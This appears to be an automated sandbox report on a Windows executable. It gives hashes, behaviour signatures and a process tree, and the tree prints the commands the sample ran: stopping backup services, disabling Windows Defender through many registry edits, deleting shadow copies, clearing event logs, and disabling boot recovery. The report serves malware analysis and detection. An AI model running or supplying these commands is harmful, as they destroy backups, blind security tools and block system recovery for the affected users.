Analysis

  • max time kernel
    16s
  • max time network
    127s
  • platform
    windows10_x64
  • resource
    win10-en-20211014
  • submitted
    22-11-2021 11:25

General

  • Target

    44f8c6a7e5c8af0782cc39e1f6fc51e817ab990649da1d097f948b76d3fde442.exe

  • Size

    2.7MB

  • MD5

    d8d33f00e7124fe123cc2a581000a2e6

  • SHA1

    233ef1e48543dea370f543c08d7c1ff6adba6e47

  • SHA256

    44f8c6a7e5c8af0782cc39e1f6fc51e817ab990649da1d097f948b76d3fde442

  • SHA512

    726f6b154804755e7999d7ccdef8c0671d3a3b988dfeb54ca8f7090e791ef27056688aa9473771b85955932117ce0641eb9aca65d7a0e296b61382d5d804cc2b

Malware Config

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\44f8c6a7e5c8af0782cc39e1f6fc51e817ab990649da1d097f948b76d3fde442.exe
    "C:\Users\Admin\AppData\Local\Temp\44f8c6a7e5c8af0782cc39e1f6fc51e817ab990649da1d097f948b76d3fde442.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3672
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4016
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3208
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1324
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:1176
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1788
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2936
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:692
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:4052
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3648
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:3148
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3496
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:3772
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3764
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:2588
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2016
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:2060
                    • C:\Windows\SYSTEM32\net.exe
                      net.exe stop "UnistoreSvc_1372d" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1976
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_1372d" /y
                        3⤵
                          PID:604
                      • C:\Windows\SYSTEM32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:1736
                        • C:\Windows\SYSTEM32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:712
                          • C:\Windows\SYSTEM32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1872
                            • C:\Windows\SYSTEM32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:3812
                              • C:\Windows\SYSTEM32\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:3936
                                • C:\Windows\SYSTEM32\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:2440
                                  • C:\Windows\SYSTEM32\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:2192
                                    • C:\Windows\SYSTEM32\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:2524
                                      • C:\Windows\SYSTEM32\sc.exe
                                        sc.exe config "UnistoreSvc_1372d" start= disabled
                                        2⤵
                                          PID:2328
                                        • C:\Windows\SYSTEM32\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:1996
                                          • C:\Windows\SYSTEM32\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:3004
                                            • C:\Windows\SYSTEM32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:2228
                                              • C:\Windows\SYSTEM32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:2924
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:2932
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:60
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:1440
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:1744
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:2396
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:2224
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:3996
                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:3124
                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:4032
                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:1164
                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:2088
                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:3696
                                                                        • C:\Windows\SYSTEM32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:620
                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:1916
                                                                            • C:\Windows\SYSTEM32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:3772
                                                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:1480
                                                                                • C:\Windows\SYSTEM32\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:1532
                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:2056
                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:3296
                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:364
                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:1732
                                                                                          • C:\Windows\SYSTEM32\reg.exe
                                                                                            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                            2⤵
                                                                                              PID:3824
                                                                                            • C:\Windows\SYSTEM32\reg.exe
                                                                                              reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                              2⤵
                                                                                                PID:1652
                                                                                              • C:\Windows\SYSTEM32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:820
                                                                                                • C:\Windows\SYSTEM32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1284
                                                                                                  • C:\Windows\SYSTEM32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:1684
                                                                                                    • C:\Windows\SYSTEM32\reg.exe
                                                                                                      reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                      2⤵
                                                                                                        PID:2164
                                                                                                      • C:\Windows\SYSTEM32\reg.exe
                                                                                                        reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                        2⤵
                                                                                                          PID:752
                                                                                                        • C:\Windows\SYSTEM32\reg.exe
                                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                          2⤵
                                                                                                            PID:4076
                                                                                                          • C:\Windows\SYSTEM32\vssadmin.exe
                                                                                                            vssadmin.exe delete shadows /all /quiet
                                                                                                            2⤵
                                                                                                            • Interacts with shadow copies
                                                                                                            PID:3924
                                                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                            wevtutil.exe cl system
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:832
                                                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                            wevtutil.exe cl security
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:3340
                                                                                                          • C:\Windows\SYSTEM32\wevtutil.exe
                                                                                                            wevtutil.exe cl application
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2128
                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                            wmic.exe SHADOWCOPY /nointeractive
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:2508
                                                                                                          • C:\Windows\System32\Wbem\wmic.exe
                                                                                                            wmic.exe shadowcopy delete
                                                                                                            2⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1104
                                                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                            bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                            2⤵
                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                            PID:320
                                                                                                          • C:\Windows\SYSTEM32\bcdedit.exe
                                                                                                            bcdedit.exe /set {default} recoveryenabled no
                                                                                                            2⤵
                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                            PID:3868
                                                                                                          • C:\Windows\SYSTEM32\cmd.exe
                                                                                                            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                            2⤵
                                                                                                              PID:1880
                                                                                                              • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                                "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                                3⤵
                                                                                                                • Deletes Windows Defender Definitions
                                                                                                                PID:296
                                                                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                                                                              cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                              2⤵
                                                                                                                PID:648
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                  powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                                  3⤵
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  PID:1896
                                                                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                                                                cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                                2⤵
                                                                                                                  PID:1864
                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                                    3⤵
                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                    PID:1216

                                                                                                              Network

                                                                                                              MITRE ATT&CK Enterprise v6

                                                                                                              Replay Monitor

                                                                                                              Loading Replay Monitor...

                                                                                                              Downloads

                                                                                                              • memory/1216-231-0x000002972D733000-0x000002972D735000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-227-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-220-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-258-0x000002972D738000-0x000002972D739000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1216-235-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-218-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-232-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-219-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-225-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-234-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-222-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-221-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-226-0x0000029713750000-0x0000029713752000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-230-0x000002972D730000-0x000002972D732000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1216-257-0x000002972D736000-0x000002972D738000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-186-0x00000284EB040000-0x00000284EB041000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1896-194-0x00000284CF156000-0x00000284CF158000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-187-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-189-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-229-0x00000284CF158000-0x00000284CF159000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1896-180-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-190-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-191-0x00000284EB1F0000-0x00000284EB1F1000-memory.dmp

                                                                                                                Filesize

                                                                                                                4KB

                                                                                                              • memory/1896-185-0x00000284CF153000-0x00000284CF155000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-183-0x00000284CF150000-0x00000284CF152000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-192-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-188-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-184-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-215-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-216-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-179-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-181-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB

                                                                                                              • memory/1896-182-0x00000284CF140000-0x00000284CF142000-memory.dmp

                                                                                                                Filesize

                                                                                                                8KB